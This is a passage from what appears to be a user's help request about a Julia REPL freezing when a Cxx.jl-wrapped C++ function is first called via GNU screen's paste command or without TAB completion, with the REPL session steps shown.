julia> cxx"""void testfunction(){std::cout<<"worked"<< std::endl;}"""
true
julia> julia_function() = #cxx testfunction()
julia_function (generic function with 1 method)
julia>
Now the strange bug appears: writing "ju", using TAB to complete to "julia_function" and adding "()" by hand in terminal 1 leads to
julia> julia_function()
worked
julia>
But if I do steps 1, 2, 3 and then screen -S session -p 0 -X eval "readreg p freeze" "paste p" in terminal 2 or write julia_function() in terminal 1 without using TAB to complete then I get a freeze in terminal 1:
julia> julia_function()
If I do steps 1, 2, 3, use TAB completion as described above, then (i.e. after the first call, which compiles the function) screen -S session -p 0 -X eval "readreg p freeze" "paste p" in terminal 2 and julia_function() without using TAB in terminal 1 work as expected (it prints "worked") and don't cause a freeze.
If I do not use screen at all, it works (with and without TAB). Can you please tell me what is going on here?